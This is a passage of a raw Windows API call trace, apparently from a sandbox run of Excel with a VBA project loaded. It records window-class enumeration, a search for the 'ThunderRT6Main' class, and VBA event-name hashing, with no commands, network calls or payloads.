lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0109.460] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0109.460] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0109.460] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0109.460] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0109.460] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0109.460] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0109.460] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.460] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.461] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0109.461] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0109.461] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0109.461] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0109.461] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0109.461] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0109.461] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0109.461] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0109.461] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0109.461] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0109.461] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.461] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.461] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0109.461] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0109.461] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.461] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.461] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0109.461] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0109.461] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0109.461] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0109.461] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0109.461] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0109.461] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0109.461] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0109.462] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0109.462] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0109.462] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x5963f70 [0109.462] IMalloc:Free (This=0x7fefe465380, pv=0x5963f70) [0109.543] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x11, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0109.543] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x7, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0109.543] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0109.543] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x1a, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0109.543] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x10, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0109.543] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0109.556] _mbscpy_s (in: _Dst=0x20df00, _DstSizeInBytes=0x1c, _Src=0x5d10546 | out: _Dst=0x20df00) returned 0x0 [0109.556] _mbscpy_s (in: _Dst=0x20df0a, _DstSizeInBytes=0x12, _Src=0x20e0b0 | out: _Dst=0x20df0a) returned 0x0 [0109.556] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0109.560] strncpy_s (in: _Dst=0x64b6420, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0109.560] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0109.560] bsearch (_Key=0x1e7f38, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x0 [0109.560] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0109.560] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0109.560] ITypeLib:GetTypeComp (in: This=0x679bb80, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679bb90) returned 0x0 [0109.561] IUnknown:AddRef (This=0x679bb90) returned 0x16 [0109.561] IUnknown:Release (This=0x679bb90) returned 0x15 [0109.561] ITypeLib:GetTypeComp (in: This=0x5a48620, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x5a48630) returned 0x0 [0109.561] IUnknown:AddRef (This=0x5a48630) returned 0x13 [0109.561] IUnknown:Release (This=0x5a48630) returned 0x12 [0109.561] ITypeLib:GetTypeComp (in: This=0x679c120, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679c130) returned 0x0 [0109.561] IUnknown:AddRef (This=0x679c130) returned 0x9 [0109.561] IUnknown:Release (This=0x679c130) returned 0x8 [0109.566] ITypeLib:GetTypeComp (in: This=0x679c6c0, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679c6d0) returned 0x0 [0109.567] IUnknown:AddRef (This=0x679c6d0) returned 0x7 [0109.567] IUnknown:Release (This=0x679c6d0) returned 0x6 [0109.567] GetCurrentThreadId () returned 0xa30 [0109.567] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0109.567] GetDesktopWindow () returned 0x10010 [0109.567] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0109.567] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0109.567] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0109.567] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.567] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0109.567] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.567] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.567] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.567] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0109.567] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.567] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.568] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.568] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0109.568] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.568] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.568] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.568] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0109.568] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.568] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.568] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.568] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0109.568] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.568] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.568] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.568] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0109.568] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.568] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.568] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.568] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0109.568] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.568] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.568] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.568] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0109.568] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0109.569] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0109.569] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.569] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0109.569] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0109.569] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0109.569] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.569] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0109.569] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.569] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.569] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.569] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0109.569] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0109.569] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0109.569] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.569] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0109.569] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0109.569] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0109.569] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0109.569] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0109.569] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.569] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.569] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0109.570] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0109.570] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0109.570] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0109.571] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0109.571] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0109.571] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.571] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.571] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0109.571] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0109.571] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.571] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.571] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.571] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0109.571] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.571] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.571] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.571] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0109.571] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.571] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.571] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.571] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0109.571] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.571] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.571] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.571] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0109.572] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0109.572] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0109.572] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.572] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0109.572] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0109.572] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0109.572] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.572] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0109.572] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0109.572] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0109.572] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0109.572] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.572] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.572] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.572] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0109.572] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0109.572] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0109.572] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0109.572] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0109.572] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0109.572] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0109.572] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0109.572] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.572] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.572] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0109.573] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0109.573] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0109.573] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0109.573] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.573] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -2080374784 [0109.573] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0109.573] IsWindowEnabled (hWnd=0x302dc) returned 1 [0109.573] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x0 [0109.573] SetPropA (hWnd=0x302dc, lpString=0xc131, hData=0x1) returned 1 [0109.573] EnableWindow (hWnd=0x302dc, bEnable=0) returned 0 [0109.573] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0109.573] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0109.573] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0109.573] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0109.573] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0109.573] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.573] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0109.573] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0109.573] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0109.573] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0109.573] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0109.573] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0109.573] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.573] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0109.573] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0109.573] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0109.574] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0109.574] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0109.574] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0109.574] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.574] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0109.574] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0109.574] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0109.574] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0109.574] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0109.574] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0109.574] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.574] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0109.574] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0109.574] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0109.574] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0109.574] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0109.574] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0109.574] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.574] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0109.574] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0109.574] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0109.574] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0109.574] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0109.574] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0109.574] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.574] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0109.574] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0109.574] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0109.575] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0109.575] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0109.575] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0109.575] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0109.575] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0109.575] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.575] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0109.575] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0109.575] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0109.575] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0109.575] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0109.575] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0109.575] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.575] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0109.575] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0109.575] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0109.575] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0109.575] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0109.575] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0109.575] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.575] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0109.575] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0109.575] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0109.575] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0109.575] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0109.576] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0109.576] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.576] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0109.576] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0109.576] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0109.576] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0109.576] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0109.576] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0109.576] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.576] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0109.576] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0109.576] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0109.576] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0109.576] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0109.576] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0109.576] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.576] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0109.576] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0109.576] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0109.576] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0109.576] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0109.576] lstrcmpA 